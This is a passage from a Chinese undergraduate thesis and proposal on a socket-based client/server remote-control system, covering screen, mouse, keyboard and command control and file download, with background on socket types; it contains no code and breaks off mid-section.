版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
1、<p><b> 畢業(yè)論文</b></p><p><b> 開題報(bào)告書</b></p><p> 畢業(yè)論文選題:《計(jì)算機(jī)遠(yuǎn)程控制》</p><p> 指 導(dǎo) 教 師:</p><p> 開 題 報(bào) 告 人:</p><p> 班
2、 級(jí): 計(jì)算機(jī)科學(xué)技術(shù)(專升本)</p><p> 開 題 報(bào) 告 書</p><p> 隨著計(jì)算機(jī)網(wǎng)絡(luò)的飛速發(fā)展以及網(wǎng)絡(luò)技術(shù)的日益普及和大眾化,人們可以很方便地從Internet上獲取和自己工作生活密切相關(guān)的信息,世界也真正變成一個(gè)地球村,我們可以和世界上其他任何一個(gè)人通過計(jì)算機(jī)網(wǎng)絡(luò)進(jìn)行溝通,信息資源達(dá)到了高度的共享。從這一點(diǎn)得到啟發(fā),希望能設(shè)計(jì)一個(gè)遠(yuǎn)程控制系統(tǒng)
3、,通過它可以在家里控制辦公室里的計(jì)算機(jī)。如果你是軟件開發(fā)商,你的員工可以通過它在辦公室里遠(yuǎn)程為客戶配置系統(tǒng)、對(duì)產(chǎn)品進(jìn)行維護(hù),如果客戶向你報(bào)告軟件產(chǎn)品出現(xiàn)問題你可以遠(yuǎn)程對(duì)產(chǎn)品進(jìn)行調(diào)試,最終解決問題。這樣員工就不會(huì)因長期的勞苦奔波而抱怨,用戶也不會(huì)因?yàn)槟悴荒芗皶r(shí)解決問題而和你討價(jià)還價(jià),當(dāng)然,也為公司節(jié)約了人力、財(cái)力和物力。</p><p> 遠(yuǎn)程控制是在網(wǎng)絡(luò)上由一臺(tái)電腦(主控端/客戶端)遠(yuǎn)距離去控制另一臺(tái)電腦(被控
4、端/服務(wù)器端)的技術(shù),這里的遠(yuǎn)程不是字面意思的遠(yuǎn)距離,一般指通過網(wǎng)絡(luò)控制遠(yuǎn)端電腦,不過,大多數(shù)時(shí)候我們所說的遠(yuǎn)程控制往往指在局域網(wǎng)中的遠(yuǎn)程控制而言。當(dāng)操作者使用主控端電腦控制被控端電腦時(shí),就如同坐在被控端電腦的屏幕前一樣,可以啟動(dòng)被控端電腦的應(yīng)用程序,可以使用被控端電腦的文件資料,甚至可以利用被控端電腦的外部打印設(shè)備(打印機(jī))和通信設(shè)備(調(diào)制解調(diào)器或者專線等)來進(jìn)行打印和訪問互聯(lián)網(wǎng),就像你利用遙控器遙控電視的音量、變換頻道或者開關(guān)電視機(jī)
5、一樣。不過,有一個(gè)概念需要明確,那就是主控端電腦只是將鍵盤和鼠標(biāo)的指令傳送給遠(yuǎn)程電腦,同時(shí)將被控端電腦的屏幕畫面通過通信線路回傳過來。也就是說,我們控制被控端電腦進(jìn)行操作似乎是在眼前的電腦上進(jìn)行的,實(shí)質(zhì)是在遠(yuǎn)程的電腦中實(shí)現(xiàn)的,不論打開文件,還是上網(wǎng)瀏覽、下載等都是存儲(chǔ)在遠(yuǎn)程的被控端電腦中的。</p><p> 遠(yuǎn)程控制具有一下優(yōu)點(diǎn):便于用戶能夠在任何地方通過網(wǎng)絡(luò)及時(shí),快速的訪問,控制自己的主機(jī)。特別是對(duì)于網(wǎng)絡(luò)管
6、理員,技術(shù)服務(wù)人員來說,遠(yuǎn)程控制提供了一個(gè)便捷,高效的手段。</p><p> 當(dāng)然,遠(yuǎn)程控制軟件是一把雙刃劍,有優(yōu)點(diǎn)就會(huì)有缺點(diǎn),它存在比較嚴(yán)重的安全隱患。一方面給用戶和網(wǎng)絡(luò)管理員工作帶了很大的方便,另一方面也給一些居心不良者留下后門。形成很多木馬程序。這就需要對(duì)軟件在設(shè)計(jì)方面做一些安全考慮。</p><p><b> 目錄</b></p><
7、p> 引言┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈1</p><p> 系統(tǒng)分析┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈3</p><p> 系統(tǒng)需求分析┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈3</p><p> 1.2系統(tǒng)功能分析┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈4</p><p>
8、; 1.3系統(tǒng)軟件模型┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈4</p><p> 二、系統(tǒng)體系結(jié)構(gòu)設(shè)計(jì)┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈4</p><p> 2.1 基本控制原理┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈4</p><p> 2.2 命令控制模塊┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈5</p><p>
9、 2.3 屏幕控制模塊┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈5</p><p> 2.4 鼠標(biāo)控制模塊┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈5</p><p> 2.5 鍵盤控制模塊┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈5</p><p> 2.6 文件下載模塊┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈5</p><p>
10、 三、遠(yuǎn)程控制系統(tǒng)的實(shí)現(xiàn)┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈6</p><p> 3.1 Socket技術(shù)基本原理┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈6</p><p> 3.1.1 Socket背景┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈7</p><p> 3.1.2 Socket的三種類型┈┈┈┈┈┈┈┈┈┈┈┈┈┈8</p><
11、p> 3.1.3 Socket類中的常規(guī)函數(shù)調(diào)用┈┈┈┈┈┈┈┈┈8</p><p> 3.2 .NET中的Socket編程┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈10</p><p> 3.3 客戶端實(shí)現(xiàn)┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈11</p><p> 3.3.1客戶端界面設(shè)計(jì)┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈11</p&
12、gt;<p> 3.3.2 連接遠(yuǎn)程主機(jī)┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈11</p><p> 3.3.3 發(fā)送命令┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈12</p><p> 3.3.4 直接控屏┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈12</p><p> 3.3.5 幫助 ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈13</p
13、><p> 3.4 服務(wù)端實(shí)現(xiàn)┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈14</p><p> 3.4.1 進(jìn)行監(jiān)聽、時(shí)刻準(zhǔn)備連接┈┈┈┈┈┈┈┈┈┈┈14</p><p> 3.4.2 程序設(shè)置自動(dòng)運(yùn)行┈┈┈┈┈┈┈┈┈┈┈┈┈┈14</p><p> 3.4.3 查看文件內(nèi)容┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈15</
14、p><p> 3.4.5 文件下載┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈15</p><p> 3.4.6 遠(yuǎn)程屏幕抓取的實(shí)現(xiàn)┈┈┈┈┈┈┈┈┈┈┈┈┈15</p><p> 四、總結(jié)┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈16</p><p> 參考文獻(xiàn):┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈17<
15、/p><p> 致 謝┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈18</p><p><b> 計(jì)算機(jī)遠(yuǎn)程控制</b></p><p><b> 引言</b></p><p> 在如今這個(gè)信息高速發(fā)達(dá)的時(shí)代,人們之間的物理距離雖無太大變化,然而邏輯距離卻在一天天縮小。同時(shí),鑒于交
16、通的繁忙,無紙辦公和遠(yuǎn)程辦公的趨勢(shì)已然愈演愈烈!遠(yuǎn)程控制應(yīng)運(yùn)而生。</p><p> 本文首先介紹了系統(tǒng)分析方面的一些內(nèi)容,緊接著開始介紹實(shí)現(xiàn)遠(yuǎn)程控制基礎(chǔ)——Socket編程的基本概念,以及Windows的消息系統(tǒng),接著從建立Socket套接字開始,經(jīng)過逐個(gè)功能模塊的分析實(shí)現(xiàn),從命令控制到文件下載,到屏幕控制等。然后重點(diǎn)介紹了屏幕控制和文件下載功能。</p><p> 本系統(tǒng)在文件下載
17、方面,采用了文件流stream的方式進(jìn)行文件傳輸,首先是通過命令控制中的dir命令,獲得文件路徑和文件名,然后將文件名傳到服務(wù)器端進(jìn)行下載。在屏幕控制方面,是由客戶端發(fā)送命令src到服務(wù)器端,服務(wù)器響應(yīng)后,進(jìn)入相應(yīng)的通訊進(jìn)程。 客戶端發(fā)出獲取服務(wù)器屏幕圖像數(shù)據(jù)的請(qǐng)求,把從服務(wù)器接收到的圖像在本地實(shí)時(shí)顯示出來,并且及時(shí)發(fā)送鼠標(biāo)在本地顯示圖像的動(dòng)作給服務(wù)器。服務(wù)器則主要負(fù)責(zé)響應(yīng)客戶端的請(qǐng)求并抓取與發(fā)送屏幕圖像,響應(yīng)客戶端發(fā)送過來的鼠標(biāo)、鍵盤
18、等的動(dòng)作并反饋給客戶端。從而實(shí)現(xiàn)了對(duì)遠(yuǎn)程計(jì)算機(jī)的直接控制。</p><p> 【關(guān)鍵詞】 :C\S、Socket、TCP\IP、流</p><p><b> Abstract</b></p><p> Now in this information era of high-speed developed the physical dist
19、ance between people, although do not have too big change, however logical distance but by narrowing. At the same time, given the busy traffic, the paperless office and telecommuting trend has intensified. Remote control
20、arises at the historic moment. </p><p> With the rapid development of network technology and popularization of the network in all trades and professions, remote control technical support will gradually occu
21、py the mainstream technical support. This article is about a Windows based remote control system developed by use of the network programming, the most common Socket technology and multi-thread programming, etc. And the r
22、emote control involves the technology and method for grade function prototype detailed explanation, can easily und</p><p> This paper first introduces to realize the remote control basics Socket basic conce
23、pts of programming, and the message system, then Windows Socket from establishing one begins, goes through the analysis of the functional modules from the command control to realize, file download, to screen control etc.
24、 Then mainly introduces screen control and file download function. </p><p> This system in file download aspects, using a document flow stream way file transfer, first is through the dir command, command an
25、d control get file path and filename, then will filename to the server to download. In the screen control, is by the client sends commands SRC to the server, server response, into the corresponding communication process.
26、 The client access server screen image data sent from the request, the server receives images in the local real-time display out, and timely send the </p><p> Key Words:C\S、Socket、TCP\IP、Stream</p>&
27、lt;p><b> 一 系統(tǒng)分析</b></p><p><b> 1.1系統(tǒng)需求分析</b></p><p> 如今的網(wǎng)絡(luò),可以說已經(jīng)覆蓋了各行各業(yè),不論是有這方面基礎(chǔ)知識(shí)的,還是沒有的,都在使用它。這樣一來,在使用過程中,就難免會(huì)出些問題,有能力解決的,自然無所謂。而那些不具備解決這方面問題能力的人或企業(yè),在出了問題之后則會(huì)顯得
28、相對(duì)緊張些,甚至是恐慌。因?yàn)槠髽I(yè)的運(yùn)轉(zhuǎn)與這方面是緊密相連的,它出了問題,企業(yè)也就如機(jī)器失去電源般,無法運(yùn)轉(zhuǎn)了。這個(gè)時(shí)候,企業(yè)自然會(huì)想到軟件提供商們,而這樣的問題由他們來負(fù)責(zé)解決也確實(shí)無可厚非。但是,那些軟件提供商們,總不能一天到晚常駐這些企業(yè)里,因此正常解決起來,并沒有想象中那么及時(shí)??墒?,如果我們擁有遠(yuǎn)程控制的話,一切就迎刃而解了。通過遠(yuǎn)程控制,軟件提供商方面的技術(shù)人員,可以在自己的辦公室里操作企業(yè)的機(jī)器,從而解決問題。為企業(yè)減少了損
29、失,也為自己減少了一些不必要的開支,還能提升自己在客戶心目中的企業(yè)形象,一舉數(shù)得,何樂而不為?</p><p> 遠(yuǎn)程控制,顧名思義,就是像操作自己電腦一樣,去遠(yuǎn)距離操控另一臺(tái)電腦。很顯然,這樣的系統(tǒng),一般就是采用C/S模式或者B/S模式。</p><p> 網(wǎng)絡(luò)應(yīng)用程序的基本開發(fā)模式是C/S模式,其系統(tǒng)結(jié)構(gòu)式指把一個(gè)大型的計(jì)算機(jī)應(yīng)用系統(tǒng)變?yōu)槎鄠€(gè)能互為獨(dú)立的子系統(tǒng)。服務(wù)器是整個(gè)應(yīng)用系統(tǒng)
30、資源的存儲(chǔ)與管理中心,多臺(tái)客戶機(jī)則各自處理相應(yīng)的功能,共同實(shí)現(xiàn)完整的應(yīng)用。C/S模式一般基于傳輸層的TCP協(xié)議實(shí)現(xiàn)。主要特點(diǎn)是交互性強(qiáng)、具有安全的存取模式、網(wǎng)絡(luò)通信量低、相應(yīng)速度快、利于處理大量數(shù)據(jù)。但該結(jié)構(gòu)的程序是針對(duì)性開發(fā),變更不夠靈活,維護(hù)和管理的難度較大,通常只局限于小型局域網(wǎng),不利于擴(kuò)展,分布功能弱且兼容性差,缺少通用性。要求具有一定專業(yè)水準(zhǔn)的技術(shù)人員去完成。</p><p> 而B/S模式則是一種特
31、殊的C/S模式,它用通用的瀏覽器程序和Web服務(wù)器分別代替了專用的客戶端程序和服務(wù)器端程序,簡化了C/S模式的應(yīng)用。B/S模式簡化了客戶端,不需要在客戶端安裝特定應(yīng)用程序,系統(tǒng)維護(hù)只需在Web服務(wù)器端進(jìn)行,分布性強(qiáng)、維護(hù)方便、可擴(kuò)展性好。但是B/S模式的實(shí)現(xiàn)是基于應(yīng)用層的HTTP協(xié)議,傳輸數(shù)據(jù)中包含了大量的傳輸控制信息,有效數(shù)據(jù)的傳輸效率較低,數(shù)據(jù)安全性不強(qiáng),不能滿足遠(yuǎn)程控制系統(tǒng)在性能方面的要求。</p><p>
32、; 因此,相較之下,本系統(tǒng)采用C/S開發(fā)模式(Client/Server)。它由客戶端與服務(wù)端兩部分構(gòu)成。客戶/服務(wù)器模式的最顯著特點(diǎn)是非對(duì)等作用,即客戶相對(duì)于服務(wù)器處于不平等的地位,服務(wù)端提供服務(wù),客戶端提供請(qǐng)求。其系統(tǒng)結(jié)構(gòu)如下圖1所示: </p><p><b> 1.2系統(tǒng)功能分析</b></p><p> 本軟件是由客戶端和服務(wù)器端兩部分組成的。而且需要
33、客戶端和服務(wù)器端同時(shí)運(yùn)行相應(yīng)的程序來實(shí)現(xiàn)。本軟件要實(shí)現(xiàn)的基本功能可以簡化如下:</p><p> 第一步,服務(wù)器端運(yùn)行相應(yīng)的遠(yuǎn)程控制軟件服務(wù)器程序,使服務(wù)器端的某個(gè)端口處于監(jiān)聽狀態(tài)(本軟件端口設(shè)置為7068)。這樣服務(wù)器端計(jì)算機(jī)就時(shí)刻處于監(jiān)聽遠(yuǎn)程計(jì)算機(jī)連接請(qǐng)求的狀態(tài)。</p><p> 第二步,當(dāng)服務(wù)器端程序運(yùn)行后,客戶端在本地計(jì)算機(jī)中運(yùn)行相應(yīng)程序的客戶端程序,運(yùn)行這個(gè)客戶端程序時(shí),會(huì)
34、指定一個(gè)要連接的服務(wù)器的IP地址和端口,(本軟件要求輸入服務(wù)端IP地址,端口是默認(rèn)的7068。原則上不允許用戶更改端口),程序運(yùn)行后,點(diǎn)擊連接就會(huì)向所在網(wǎng)絡(luò)搜索指定的計(jì)算機(jī)了。</p><p> 第三步,搜索到所指定的計(jì)算機(jī)后,客戶端計(jì)算機(jī)就向服務(wù)器端指定的端口發(fā)送連接請(qǐng)求(本軟件使用TCP連接),如果服務(wù)器端計(jì)算機(jī)同一端口處于監(jiān)聽狀態(tài),則服務(wù)器端接收客戶端的連接請(qǐng)求,并根據(jù)設(shè)定的值向客戶端發(fā)送接受請(qǐng)求確認(rèn)信號(hào)
35、,并同時(shí)向客戶端發(fā)出登錄成功信息,客戶端顯示連接成功確認(rèn)對(duì)話框。</p><p> 第四步,連接成功后,就可以進(jìn)行命令控制、屏幕控制以及文件下載了。</p><p><b> 1.3系統(tǒng)軟件模型</b></p><p> 在本軟件設(shè)計(jì)中,采用典型的C/S結(jié)構(gòu),由客戶端與服務(wù)端兩部分構(gòu)成??蛻?服務(wù)器模式的最顯著特點(diǎn)是非對(duì)等作用,即客戶相對(duì)
36、于服務(wù)器處于不平等的地位,服務(wù)端提供服務(wù),客戶端提供請(qǐng)求。</p><p> 二 系統(tǒng)體系結(jié)構(gòu)設(shè)計(jì)</p><p> 2.1 基本控制原理</p><p> 該遠(yuǎn)程控制系統(tǒng)由服務(wù)器端和客戶端兩個(gè)部分組成,客戶端可以通過鼠標(biāo)和鍵盤以及相應(yīng)的命令控制服務(wù)器端的計(jì)算機(jī)。 實(shí)現(xiàn)遠(yuǎn)程控制的機(jī)理是,受控機(jī)運(yùn)行一個(gè)程序,用于偵聽端口并接受數(shù)據(jù)包,而控制方通過端口給受控方的
37、端口發(fā)送數(shù)據(jù)包。一共需編寫兩個(gè)程序,一個(gè)是控制方,另一個(gè)則是受控方,受控機(jī)等待控制機(jī)發(fā)送過來的指令然后執(zhí)行相應(yīng)的操作。</p><p> 2.2 命令控制模塊</p><p> 此模塊直接接受DOS命令,另外自定義了三個(gè)命令src(屏幕控制)、Close(關(guān)閉套接字)和DownLoad(文件下載)。</p><p> 2.3 屏幕控制模塊</p>
38、<p> 可以讓客戶端用戶實(shí)時(shí)監(jiān)控服務(wù)器端計(jì)算機(jī)的運(yùn)行狀態(tài)。客戶端以一定的頻率向服務(wù)器發(fā)送請(qǐng)求,服務(wù)器響應(yīng)客戶端的請(qǐng)求將自己的屏幕拷貝下來并將這些信息發(fā)送給客戶端,客戶端接收到這些信息之后以圖像的形式顯示出來,為鼠標(biāo)和鍵盤控制提供圖形化接口。</p><p> 2.4 鼠標(biāo)控制模塊</p><p> 可以讓客戶端用戶通過鼠標(biāo)控制服務(wù)器端的計(jì)算機(jī)。其實(shí)現(xiàn)過程是客戶端軟件先捕
39、捉鼠標(biāo)在圖形化接口(屏幕控制模塊提供的)中的動(dòng)作,再將這些信息發(fā)送到服務(wù)器端,最后服務(wù)器端的服務(wù)程序向操作系統(tǒng)(并不是自己處理)發(fā)送這個(gè)動(dòng)作的消息,這樣就如同在服務(wù)器端的操作系統(tǒng)上進(jìn)行了相應(yīng)的鼠標(biāo)操作。</p><p> 2.5 鍵盤控制模塊</p><p> 可以讓客戶端用戶通過鍵盤控制服務(wù)器端計(jì)算機(jī)的輸入,其實(shí)現(xiàn)過程是客戶端軟件先捕捉鍵盤在圖形化接口中的動(dòng)作,再將這些信息發(fā)送到服務(wù)
40、器端,服務(wù)器端的服務(wù)程序向操作系統(tǒng)發(fā)送這個(gè)動(dòng)作的消息,這樣就如同在服務(wù)器端的操作系統(tǒng)上進(jìn)行了相應(yīng)的鍵盤輸入。這樣一來,如果服務(wù)器端的“Microsoft Word”為當(dāng)前的活動(dòng)窗口,則客戶端的鍵盤操作就如同有人在服務(wù)器端利用“Microsoft Word”進(jìn)行文字編輯一樣。屏幕控制、鍵盤控制和鼠標(biāo)控制模塊是在網(wǎng)絡(luò)狀況較好的情況下才會(huì)有較快的響應(yīng)速度,如果網(wǎng)絡(luò)狀況不好將采用命令控制模塊進(jìn)行遠(yuǎn)程控制模塊進(jìn)行遠(yuǎn)程控制。這種控制方式有較多的限制
41、,需要根據(jù)具體的需求進(jìn)行設(shè)計(jì)。</p><p> 2.6 文件下載模塊</p><p> 可以讓客戶端用戶下載服務(wù)端的相關(guān)文件。客戶端用戶,只需傳一個(gè)文件路徑至服務(wù)端,軟件會(huì)自動(dòng)給文件路徑加上前綴”download_”,服務(wù)器端收到帶前綴”download_”的消息時(shí),便會(huì)自動(dòng)去解析文件名并下載至用戶指定的客戶端文件路徑中。整個(gè)系統(tǒng)結(jié)構(gòu)如下所示:</p><p>
42、; 三 遠(yuǎn)程控制系統(tǒng)的實(shí)現(xiàn)</p><p> 3.1 Socket技術(shù)基本原理</p><p> 網(wǎng)絡(luò)客戶/服務(wù)器模式的原理是一臺(tái)主機(jī)提供服務(wù)(服務(wù)器),另一臺(tái)主機(jī)接受服務(wù)(客戶機(jī))。作為服務(wù)器的主機(jī)打開一個(gè)端口并進(jìn)行監(jiān)聽, 如果有客戶機(jī)向服務(wù)器的這一端口提出連接請(qǐng)求, 服務(wù)器上的相應(yīng)程序就會(huì)自動(dòng)運(yùn)行,來應(yīng)答客戶機(jī)的請(qǐng)求。而Socket的正確使用,給設(shè)計(jì)者帶來了極大的方便,使得各種
43、應(yīng)用程序能夠在Windows環(huán)境下順利進(jìn)行各種網(wǎng)絡(luò)通訊。</p><p> 3.1.1 Socket背景</p><p> 20世紀(jì)80年代初,美國政府的高級(jí)研究工程機(jī)構(gòu)(ARPA)給加利福尼亞大學(xué)Berkeley分校提供資金,讓他們?cè)赨NIX操作系統(tǒng)下實(shí)現(xiàn)TCP/IP協(xié)議。在這個(gè)項(xiàng)目中,研究人員為TCP/IP網(wǎng)絡(luò)通信開發(fā)了一個(gè)應(yīng)用程序接口(API)。這個(gè)API就稱為Socket接口。
44、今天,Socket接口是TCP/IP網(wǎng)絡(luò)最通用的API,也是在Internet上進(jìn)行應(yīng)用開發(fā)最為通用的API。</p><p> 實(shí)際上,Socket在計(jì)算機(jī)中提供了一個(gè)通信端口(ip:port)。通過這個(gè)端口,一臺(tái)計(jì)算機(jī)可以與任何一臺(tái)具有Socket接口的計(jì)算機(jī)通信。通信的基礎(chǔ)是套接字。一個(gè)套接字是通信的一端,在這一端上可以找到與其對(duì)應(yīng)的一個(gè)名字。一個(gè)正在被使用的套接字都有它的類型和與其相關(guān)的進(jìn)程,套接字存在
45、于通信域中。一個(gè)套接字通常和同一個(gè)域中的套接字交換數(shù)據(jù)(數(shù)據(jù)交換也可以穿越域的界限,但這時(shí)一定要執(zhí)行某種解釋程序)。應(yīng)用程序在網(wǎng)絡(luò)上傳輸、接收的信息都通過這個(gè)套接字來實(shí)現(xiàn)。在應(yīng)用開發(fā)中就像使用文件句柄一樣,可以對(duì)Socket句柄進(jìn)行讀寫操作。</p><p> 開始使用套接字編程之前,首先必須建立這些概念:網(wǎng)間進(jìn)程通訊,服務(wù)方式,客戶機(jī)/服務(wù)器模式。</p><p> 進(jìn)程通信的概念最
46、初來源于單機(jī)系統(tǒng)。由于每個(gè)進(jìn)程都在自己的地址范圍內(nèi)運(yùn)行,為保證相互通信的進(jìn)程之間既互不干涉又能協(xié)調(diào)一致工作,操作系統(tǒng)為進(jìn)程通信提供了相應(yīng)設(shè)施,如UNIX BSD中的管道(Pipe)、命名管道(Named Pipe)和軟中斷信號(hào)(Signal)、UNIX System V的消息(Message)、共享存儲(chǔ)區(qū)(Shared Memory)和信號(hào)量(Semaphore)等,但都僅限于用在本機(jī)進(jìn)程之間的通信。網(wǎng)間進(jìn)程通信要解決的是不同計(jì)算機(jī)進(jìn)程
47、間的相互通信問題(可把同機(jī)進(jìn)程通信看成是其中的一個(gè)特例)。為此,首先要解決的是網(wǎng)間進(jìn)程標(biāo)識(shí)問題,同一計(jì)算機(jī)上,不同進(jìn)程可以用進(jìn)程號(hào)(Process ID)作為唯一標(biāo)識(shí),但在網(wǎng)絡(luò)環(huán)境下,各個(gè)計(jì)算機(jī)獨(dú)立分配的進(jìn)程號(hào)不能唯一的標(biāo)識(shí)該進(jìn)程。例如,計(jì)算機(jī)甲賦予某進(jìn)程號(hào)45,在乙計(jì)算機(jī)中也可以存在45號(hào)進(jìn)程,因此,“45號(hào)進(jìn)程”這句話在網(wǎng)間計(jì)算機(jī)中就沒有意義。其次,操作系統(tǒng)支持的網(wǎng)絡(luò)協(xié)議眾多,不同協(xié)議的工作方式不同,地址格式也不一樣,因此,網(wǎng)間進(jìn)程
48、通信還要解決多重協(xié)議的識(shí)別問題。</p><p> 在網(wǎng)絡(luò)分層結(jié)構(gòu)中,各層之間是嚴(yán)格單向依賴的,各個(gè)層次的分工和協(xié)作集中體現(xiàn)在相鄰層之間的界面上?!胺?wù)”是描述相鄰層之間關(guān)系的抽象概念,即網(wǎng)絡(luò)中各層向緊鄰上層提供一組操作。下層是服務(wù)提供者,上層是請(qǐng)求服務(wù)的用戶。服務(wù)的表現(xiàn)形式是原語(Primitive),如系統(tǒng)調(diào)用或庫函數(shù)等。系統(tǒng)調(diào)用是操作系統(tǒng)內(nèi)核向網(wǎng)絡(luò)應(yīng)用程序或高層協(xié)議提供的服務(wù)原語。在國際標(biāo)準(zhǔn)化組織(ISO
49、)的術(shù)語中,網(wǎng)絡(luò)層及其以下各層又稱為通信子網(wǎng),只是提供點(diǎn)到點(diǎn)的通信,沒有程序或進(jìn)程的概念。而傳輸層實(shí)現(xiàn)的是“端到端”通信,引進(jìn)網(wǎng)間進(jìn)程通信概念,同時(shí)也要解決差錯(cuò)控制、流量控制、數(shù)據(jù)排序(報(bào)文排序)及連接管理等問題。為此提供不同的服務(wù)方式:面向連接(虛電路)的服務(wù)或無連接的服務(wù)。面向連接服務(wù)是電話系統(tǒng)服務(wù)模式的抽象,即每一次完整的數(shù)據(jù)傳輸都要經(jīng)過建立連接,使用連接及終止連接的過程。在數(shù)據(jù)傳輸過程中,各數(shù)據(jù)分組不攜帶目的地址,而使用連接號(hào)(
50、Connect ID)。本質(zhì)上,連接是一個(gè)管道,收發(fā)數(shù)據(jù)不但順序一致,而且內(nèi)容相同。其中TCP協(xié)議就提供面向連接的虛電路。無連接的服務(wù)是郵政系統(tǒng)服務(wù)的抽象,每個(gè)分組都攜帶完整的目的地址,各分組在系統(tǒng)</p><p> 在TCP/IP網(wǎng)絡(luò)應(yīng)用中,通信的兩個(gè)進(jìn)程間相互作用的主要模式就是客戶機(jī)/服務(wù)器模式(Client/Server)。即客戶向服務(wù)發(fā)出服務(wù)請(qǐng)求,服務(wù)接收到請(qǐng)求后,提供相應(yīng)的服務(wù)??蛻魴C(jī)/服務(wù)器模式的建
51、立基于以下兩點(diǎn):首先,建立網(wǎng)絡(luò)的起因是網(wǎng)絡(luò)中軟硬件資源、運(yùn)算能力和信息不均等,需要共享,從而造就擁有眾多資源的主機(jī)提供服務(wù),資源較少的客戶請(qǐng)求服務(wù)這一非對(duì)等作用;其次,網(wǎng)間進(jìn)程通信完全是異步的,相互通信的進(jìn)程間既不存在父子關(guān)系,又不共享內(nèi)存緩沖區(qū),因此需要一種機(jī)制為希望通信的進(jìn)程間建立聯(lián)系,為兩者的數(shù)據(jù)交換提供同步,這就是基于客戶機(jī)/服務(wù)器式的TCP/IP。</p><p> 3.1.2 Socket的三種類型
52、</p><p> TCP/IP的Socket提供流式套接字、數(shù)據(jù)報(bào)套接字、原始套接字三種。</p><p> 3.1.2.1 流式套接字(STREAM)</p><p> 如果我們想讓發(fā)送出去的數(shù)據(jù)按順序無重復(fù)地到達(dá)目的地,那么就需要使用流式套接字。流式套接字提供一種可靠的面向連接地傳輸方法。數(shù)據(jù)無差錯(cuò),無重復(fù)地發(fā)送,而且按發(fā)送地順序進(jìn)行接收。不論對(duì)單個(gè)數(shù)
53、據(jù)報(bào),還是對(duì)整個(gè)數(shù)據(jù)包,流式套接字都提供一種流式數(shù)據(jù)傳輸,流式套接字使用TCP協(xié)議。此外,在數(shù)據(jù)傳輸時(shí),如果連接斷開,應(yīng)用程序會(huì)被通知。流式套接字內(nèi)設(shè)流量控制,避免數(shù)據(jù)流超限;數(shù)據(jù)被看成字節(jié)流,無長度限制。</p><p> 3.1.2.2 數(shù)據(jù)報(bào)套接字(DGRM)</p><p> 數(shù)據(jù)報(bào)套接字提供一種不可靠的,非連接的數(shù)據(jù)包(Packet)通信方式。在這里,”不可靠”是指發(fā)送一個(gè)
54、數(shù)據(jù)包不能獲得擔(dān)保,也不能保證數(shù)據(jù)包按照發(fā)送的順序到達(dá)目的地。數(shù)據(jù)包以獨(dú)立包形式被發(fā)送,不提供無錯(cuò)保證,數(shù)據(jù)可能丟失或重復(fù),并且順序混亂。在實(shí)現(xiàn)上,同一分組數(shù)據(jù)報(bào)可能不止一次的被發(fā)送。對(duì)于Socket的TCP/IP實(shí)現(xiàn),數(shù)據(jù)報(bào)套接字使用用戶數(shù)據(jù)報(bào)協(xié)議(UDP)。雖然在通常情況下,在同一臺(tái)計(jì)算機(jī)或在輕負(fù)載的局域網(wǎng)所連接的兩臺(tái)計(jì)算機(jī)的進(jìn)程之間進(jìn)行通信時(shí),可能不會(huì)出現(xiàn)數(shù)據(jù)包不被發(fā)送或沒按照順序到達(dá)及又重復(fù)發(fā)送的情況,但在編寫應(yīng)用程序時(shí),應(yīng)該注
55、意檢測(cè)意外發(fā)生的事件,應(yīng)具備處理出現(xiàn)這些情況的能力。當(dāng)然,如果為非常復(fù)雜的網(wǎng)絡(luò)(如Internet)編寫通信應(yīng)用程序,就應(yīng)該考慮到數(shù)據(jù)報(bào)套接字的不可靠性。如果我們的應(yīng)用程序沒有處理好這個(gè)問題,它就有可能崩潰。盡管如此,數(shù)據(jù)報(bào)套接字在發(fā)送數(shù)據(jù)包或者記錄數(shù)據(jù)時(shí)仍然有用。另外,數(shù)據(jù)報(bào)套接字還提供向多個(gè)目的地發(fā)送廣播數(shù)據(jù)包的能力。</p><p> 3.1.2.3 原始套接字(RAW)</p><
56、p> 該接口允許對(duì)較低層協(xié)議,如IP,ICMP的直接訪問。它通常用于檢驗(yàn)新的協(xié)議實(shí)現(xiàn)或訪問現(xiàn)有服務(wù)配置中的新設(shè)備。</p><p> 3.1.3 Socket類中的常規(guī)函數(shù)調(diào)用</p><p> 客戶應(yīng)用程序與服務(wù)器應(yīng)用程序間的通信,通常由一個(gè)規(guī)定的事件序列來完成。</p><p> 首先,客戶端和服務(wù)器端都要?jiǎng)?chuàng)建一個(gè)套接字。接著,服務(wù)器調(diào)用bind
